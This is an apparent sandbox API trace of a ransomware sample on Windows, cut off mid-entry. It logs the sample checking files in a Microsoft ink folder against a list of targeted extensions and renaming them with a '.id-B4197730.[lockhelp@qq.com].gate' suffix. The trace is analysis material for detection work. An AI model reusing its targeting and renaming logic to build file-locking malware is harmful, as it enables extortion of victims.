[0273.998] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=208408) returned 1 [0273.998] CloseHandle (hObject=0x3a0) returned 1 [0273.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0273.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0273.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0273.999] lstrlenW (lpString=".doc") returned 4 [0273.999] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0273.999] lstrlenW (lpString=".docx") returned 5 [0273.999] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0273.999] lstrlenW (lpString=".pdf") returned 4 [0273.999] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0273.999] lstrlenW (lpString=".xls") returned 4 [0273.999] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0273.999] lstrlenW (lpString=".xlsx") returned 5 [0273.999] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0273.999] lstrlenW (lpString=".ppt") returned 4 [0273.999] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0273.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0273.999] lstrlenW (lpString=".zip") returned 4 [0273.999] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0273.999] lstrlenW (lpString=".rar") returned 4 [0273.999] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0273.999] lstrlenW (lpString=".bz2") returned 4 [0273.999] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0273.999] lstrlenW (lpString=".7z") returned 3 [0273.999] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0273.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0273.999] lstrlenW (lpString=".dbf") returned 4 [0273.999] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0273.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0274.000] lstrlenW (lpString=".1cd") returned 4 [0274.000] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0274.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0274.000] lstrlenW (lpString=".jpg") returned 4 [0274.000] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0274.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0274.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0274.000] lstrlenW (lpString=".doc") returned 4 [0274.000] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0274.000] lstrlenW (lpString=".docx") returned 5 [0274.000] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0274.000] lstrlenW (lpString=".pdf") returned 4 [0274.000] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0274.000] lstrlenW (lpString=".xls") returned 4 [0274.000] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0274.000] lstrlenW (lpString=".xlsx") returned 5 [0274.000] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0274.000] lstrlenW (lpString=".ppt") returned 4 [0274.000] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0274.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0274.000] lstrlenW (lpString=".zip") returned 4 [0274.000] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0274.000] lstrlenW (lpString=".rar") returned 4 [0274.000] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0274.000] lstrlenW (lpString=".bz2") returned 4 [0274.000] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0274.000] lstrlenW (lpString=".7z") returned 3 [0274.001] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0274.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0274.001] lstrlenW (lpString=".dbf") returned 4 [0274.001] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0274.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0274.001] lstrlenW (lpString=".1cd") returned 4 [0274.001] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0274.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0274.001] lstrlenW (lpString=".jpg") returned 4 [0274.001] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0274.001] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0274.001] lstrlenW (lpString="join.avi") returned 8 [0274.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.001] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=199994) returned 1 [0274.002] CloseHandle (hObject=0x3a0) returned 1 [0274.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0274.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0274.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0274.002] lstrlenW (lpString=".doc") returned 4 [0274.002] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0274.002] lstrlenW (lpString=".docx") returned 5 [0274.002] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0274.002] lstrlenW (lpString=".pdf") returned 4 [0274.002] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0274.002] lstrlenW (lpString=".xls") returned 4 [0274.002] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0274.003] lstrlenW (lpString=".xlsx") returned 5 [0274.003] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0274.003] lstrlenW (lpString=".ppt") returned 4 [0274.003] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0274.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0274.003] lstrlenW (lpString=".zip") returned 4 [0274.003] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0274.003] lstrlenW (lpString=".rar") returned 4 [0274.003] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0274.003] lstrlenW (lpString=".bz2") returned 4 [0274.003] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0274.003] lstrlenW (lpString=".7z") returned 3 [0274.003] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0274.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0274.003] lstrlenW (lpString=".dbf") returned 4 [0274.003] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0274.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0274.003] lstrlenW (lpString=".1cd") returned 4 [0274.003] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0274.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0274.003] lstrlenW (lpString=".jpg") returned 4 [0274.003] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0274.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0274.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0274.003] lstrlenW (lpString=".doc") returned 4 [0274.003] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0274.004] lstrlenW (lpString=".docx") returned 5 [0274.004] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0274.004] lstrlenW (lpString=".pdf") returned 4 [0274.004] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0274.004] lstrlenW (lpString=".xls") returned 4 [0274.004] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0274.004] lstrlenW (lpString=".xlsx") returned 5 [0274.004] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0274.004] lstrlenW (lpString=".ppt") returned 4 [0274.004] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0274.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0274.004] lstrlenW (lpString=".zip") returned 4 [0274.004] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0274.004] lstrlenW (lpString=".rar") returned 4 [0274.004] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0274.004] lstrlenW (lpString=".bz2") returned 4 [0274.004] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0274.004] lstrlenW (lpString=".7z") returned 3 [0274.004] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0274.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0274.004] lstrlenW (lpString=".dbf") returned 4 [0274.004] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0274.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0274.004] lstrlenW (lpString=".1cd") returned 4 [0274.004] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0274.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0274.004] lstrlenW (lpString=".jpg") returned 4 [0274.004] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0274.005] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0274.005] lstrlenW (lpString="split.avi") returned 9 [0274.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.005] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=181964) returned 1 [0274.005] CloseHandle (hObject=0x3a0) returned 1 [0274.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0274.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0274.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0274.006] lstrlenW (lpString=".doc") returned 4 [0274.006] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0274.006] lstrlenW (lpString=".docx") returned 5 [0274.006] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0274.006] lstrlenW (lpString=".pdf") returned 4 [0274.006] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0274.006] lstrlenW (lpString=".xls") returned 4 [0274.006] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0274.006] lstrlenW (lpString=".xlsx") returned 5 [0274.006] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0274.006] lstrlenW (lpString=".ppt") returned 4 [0274.006] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0274.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0274.006] lstrlenW (lpString=".zip") returned 4 [0274.006] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0274.006] lstrlenW (lpString=".rar") returned 4 [0274.006] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0274.006] lstrlenW (lpString=".bz2") returned 4 [0274.006] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0274.006] lstrlenW (lpString=".7z") returned 3 [0274.006] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0274.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0274.006] lstrlenW (lpString=".dbf") returned 4 [0274.006] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0274.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0274.006] lstrlenW (lpString=".1cd") returned 4 [0274.007] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0274.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0274.007] lstrlenW (lpString=".jpg") returned 4 [0274.007] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0274.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0274.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0274.007] lstrlenW (lpString=".doc") returned 4 [0274.007] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0274.007] lstrlenW (lpString=".docx") returned 5 [0274.007] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0274.007] lstrlenW (lpString=".pdf") returned 4 [0274.007] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0274.007] lstrlenW (lpString=".xls") returned 4 [0274.007] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0274.007] lstrlenW (lpString=".xlsx") returned 5 [0274.007] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0274.007] lstrlenW (lpString=".ppt") returned 4 [0274.007] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0274.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0274.007] lstrlenW (lpString=".zip") returned 4 [0274.007] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0274.007] lstrlenW (lpString=".rar") returned 4 [0274.007] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0274.007] lstrlenW (lpString=".bz2") returned 4 [0274.007] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0274.007] lstrlenW (lpString=".7z") returned 3 [0274.008] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0274.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0274.008] lstrlenW (lpString=".dbf") returned 4 [0274.008] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0274.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0274.008] lstrlenW (lpString=".1cd") returned 4 [0274.008] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0274.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0274.008] lstrlenW (lpString=".jpg") returned 4 [0274.008] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0274.008] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0274.008] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0274.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.462] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=1600388) returned 1 [0274.462] CloseHandle (hObject=0x398) returned 1 [0274.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0274.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.463] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0274.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0274.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0274.463] lstrlenW (lpString=".doc") returned 4 [0274.463] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0274.463] lstrlenW (lpString=".docx") returned 5 [0274.463] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0274.463] lstrlenW (lpString=".pdf") returned 4 [0274.463] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0274.463] lstrlenW (lpString=".xls") returned 4 [0274.463] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0274.463] lstrlenW (lpString=".xlsx") returned 5 [0274.463] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0274.463] lstrlenW (lpString=".ppt") returned 4 [0274.463] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0274.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0274.463] lstrlenW (lpString=".zip") returned 4 [0274.463] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0274.463] lstrlenW (lpString=".rar") returned 4 [0274.463] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0274.463] lstrlenW (lpString=".bz2") returned 4 [0274.463] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0274.463] lstrlenW (lpString=".7z") returned 3 [0274.463] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0274.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0274.464] lstrlenW (lpString=".dbf") returned 4 [0274.464] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0274.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0274.464] lstrlenW (lpString=".1cd") returned 4 [0274.464] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0274.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0274.464] lstrlenW (lpString=".jpg") returned 4 [0274.464] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0274.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0274.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0274.464] lstrlenW (lpString=".doc") returned 4 [0274.464] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0274.464] lstrlenW (lpString=".docx") returned 5 [0274.464] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0274.464] lstrlenW (lpString=".pdf") returned 4 [0274.465] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0274.465] lstrlenW (lpString=".xls") returned 4 [0274.465] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0274.465] lstrlenW (lpString=".xlsx") returned 5 [0274.465] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0274.465] lstrlenW (lpString=".ppt") returned 4 [0274.465] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0274.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0274.465] lstrlenW (lpString=".zip") returned 4 [0274.465] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0274.465] lstrlenW (lpString=".rar") returned 4 [0274.465] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0274.465] lstrlenW (lpString=".bz2") returned 4 [0274.465] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0274.465] lstrlenW (lpString=".7z") returned 3 [0274.465] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0274.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0274.465] lstrlenW (lpString=".dbf") returned 4 [0274.465] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0274.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0274.465] lstrlenW (lpString=".1cd") returned 4 [0274.465] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0274.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0274.465] lstrlenW (lpString=".jpg") returned 4 [0274.465] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0274.465] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0274.465] lstrlenW (lpString="base_ca.xml") returned 11 [0274.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0275.415] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=3529) returned 1 [0275.415] CloseHandle (hObject=0x3a8) returned 1 [0275.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0275.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0275.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0275.415] lstrlenW (lpString=".doc") returned 4 [0275.415] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.415] lstrlenW (lpString=".docx") returned 5 [0275.415] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0275.416] lstrlenW (lpString=".pdf") returned 4 [0275.416] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.416] lstrlenW (lpString=".xls") returned 4 [0275.416] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.416] lstrlenW (lpString=".xlsx") returned 5 [0275.416] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0275.416] lstrlenW (lpString=".ppt") returned 4 [0275.416] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0275.416] lstrlenW (lpString=".zip") returned 4 [0275.416] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.416] lstrlenW (lpString=".rar") returned 4 [0275.416] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.416] lstrlenW (lpString=".bz2") returned 4 [0275.416] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.416] lstrlenW (lpString=".7z") returned 3 [0275.416] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0275.416] lstrlenW (lpString=".dbf") returned 4 [0275.416] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0275.416] lstrlenW (lpString=".1cd") returned 4 [0275.416] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0275.416] lstrlenW (lpString=".jpg") returned 4 [0275.416] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0275.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 